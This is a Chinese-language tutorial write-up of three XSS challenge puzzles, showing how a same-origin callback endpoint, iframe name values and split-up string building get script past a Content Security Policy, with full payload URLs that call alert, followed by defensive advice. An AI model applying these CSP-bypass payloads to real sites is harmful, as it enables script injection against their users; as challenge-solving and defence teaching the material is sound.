一些BAT的XSS实例(八)CSP篇
字数 1746 2025-08-26 22:11:45
XSS绕过CSP限制的高级技巧教学文档
前言
本教学文档基于BAT XSS实例系列中的CSP相关题目,详细讲解如何绕过内容安全策略(CSP)的限制实现XSS攻击。文档包含三个难度递增的题目解析,涵盖了CSP基础知识、字符长度限制下的代码构造技巧以及字符串转函数的高级方法。
一、CSP基础知识
1. 什么是CSP
内容安全策略(Content Security Policy)是一种额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本(XSS)和数据注入攻击等。
2. CSP的部署方式
-
Meta标签部署:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'"> -
Iframe标签部署:
<iframe csp="default-src 'self'; script-src 'self'"></iframe> -
HTTP响应头部署:
在PHP等服务器端代码中设置响应头:header("Content-Security-Policy: default-src 'self'; script-src 'self'");
3. CSP的限制作用
- 禁止加载外部域资源
- 禁止执行内联脚本
- 禁止使用on*事件处理器
- 限制eval等动态代码执行
二、题目解析
题目13:基础CSP绕过
题目特点
- 允许加载同域资源
- 字符长度限制:7个字符
- 禁止eval等动态执行
解题思路
- 分析限制:CSP只允许加载当前域名的资源
- 寻找可控资源:题目中存在一个可写入7位字符的同域资源
- 分步构造:
- 第一个script标签:定义alert函数
- 第二个script标签:调用alert(13)
有效Payload
http://px1624.sinaapp.com/test/xsstest13/?sss=111%3Cscript%20src=px.php?callback=a=alert%3E%3C/script%3E%3Cscript%20src=px.php?callback=a(13)%3E%3C/script%3E
技术要点
- 利用同域可控资源绕过CSP
- 分步构造突破字符长度限制
题目15:允许eval的CSP绕过
题目特点
- 字符长度限制:6个字符
- 允许eval使用
- 其他限制同题目13
解题思路
- 利用eval特性:可以执行拼接的字符串代码
- 全局变量中转:使用iframe的name属性存储函数名
- 分步拼接执行:
- 第一步:定义eval函数
- 第二步:获取name值
- 第三步:执行eval(name)
有效Payload
<iframe name='alert(15)' src='http://px1624.sinaapp.com/test/xsstest15/?sss=%3Cscript+src=%22px.php?callback=a=eval%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=b=name%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a(b)%22%3E%3C/script%3E'></iframe>
替代方案:字符串拼接
http://px1624.sinaapp.com/test/xsstest15/?sss=11%%3Cscript/src=px.php?callback=a=`al`%3E%3C/script%3E%3Cscript/src=px.php?callback=b=`er`%3E%3C/script%3E%3Cscript/src=px.php?callback=c=`t(`%3E%3C/script%3E%3Cscript/src=px.php?callback=d=`15`%3E%3C/script%3E%3Cscript/src=px.php?callback=e=`)`%3E%3C/script%3E%3Cscript/src=px.php?callback=f=a%252Bb%3E%3C/script%3E%3Cscript/src=px.php?callback=g=c%252Bd%3E%3C/script%3E%3Cscript/src=px.php?callback=h=f%252Bg%3E%3C/script%3E%3Cscript/src=px.php?callback=i=h%252Be%3E%3C/script%3E%3Cscript/src=px.php?callback=j=eval%3E%3C/script%3E%3Cscript/src=px.php?callback=c=j(i)%3E%3C/script%3E
技术要点
- 利用iframe的name属性作为全局变量存储
- 多步拼接构造完整函数调用
- URL编码处理特殊字符(+需要双重编码)
题目16:严格CSP绕过
题目特点
- 字符长度限制:6个字符
- 禁止eval使用
- 其他限制同前
解题思路
- 字符串转函数:不使用eval的情况下将字符串转为可执行函数
- 对象属性访问:通过对象属性访问方式获取函数
this["alert"]等价于alertself["alert"]等价于alert
- 分步构造:
- 第一步:构造"alert"字符串
- 第二步:获取全局对象(this/self)
- 第三步:通过属性访问获取函数
- 第四步:执行函数
有效Payload
<iframe name='alert' src='http://px1624.sinaapp.com/test/xsstest16/?sss=%3Cscript+src=%22px.php?callback=a=name%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=b=this%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c=b[a]%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c(16)%22%3E%3C/script%3E'></iframe>
替代方案:字符串拼接
http://px1624.sinaapp.com/test/xsstest16/?sss=%3Cscript+src=%22px.php?callback=a=%27al%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a%252b=%27e%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a%252b=%27r%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=a%252b=%27t%27%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=b=self%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c=b[a]%22%3E%3C/script%3E%3Cscript+src=%22px.php?callback=c`16`%22%3E%3C/script%3E
技术要点
- 使用对象属性访问替代eval
- 分步构造字符串和函数
- 模板字符串调用函数
三、高级技巧总结
1. 字符串转函数的方法
-
对象属性访问:
this["alert"]("test") // 等价于 alert("test") self["alert"]("test") // 等价于 alert("test") -
Function构造函数:
new Function("alert('test')")() -
setTimeout/setInterval:
setTimeout("alert('test')",0)
2. 字符长度限制下的构造技巧
- 分步赋值:将长代码拆分为多个短片段
- 全局变量中转:利用name、location等全局属性存储中间值
- 字符串拼接:逐步构建所需字符串
- URL编码处理:特殊字符需要双重编码
3. 外部JS文件加载技巧
当题目要求必须调用外部JS文件时,可以:
- 构造一个同域的可控JS文件
- 使用多个短script标签分步加载
- 在JS文件中完成最终攻击代码
四、防御建议
-
严格CSP策略:
- 限制脚本来源为特定非可控域
- 禁止unsafe-inline和unsafe-eval
-
输入过滤:
- 对用户输入进行严格过滤和转义
- 使用白名单机制限制允许的字符
-
输出编码:
- 根据输出上下文进行适当的编码
- HTML实体编码、JavaScript编码等
-
其他措施:
- 使用HttpOnly标志的Cookie
- 实施X-XSS-Protection头
- 考虑使用Trusted Types API
五、扩展思考
- 如何在更严格的字符限制下(如4个字符)实现XSS?
- 当完全禁止script标签时,有哪些替代方案?
- 如何利用SVG、MathML等非传统标签实现XSS?
- 在纯前端环境下,如何持久化XSS攻击?
本教学文档涵盖了XSS绕过CSP限制的核心技术,通过这三个难度递增的题目,学习者可以掌握从基础到高级的XSS攻击技巧及相应的防御策略。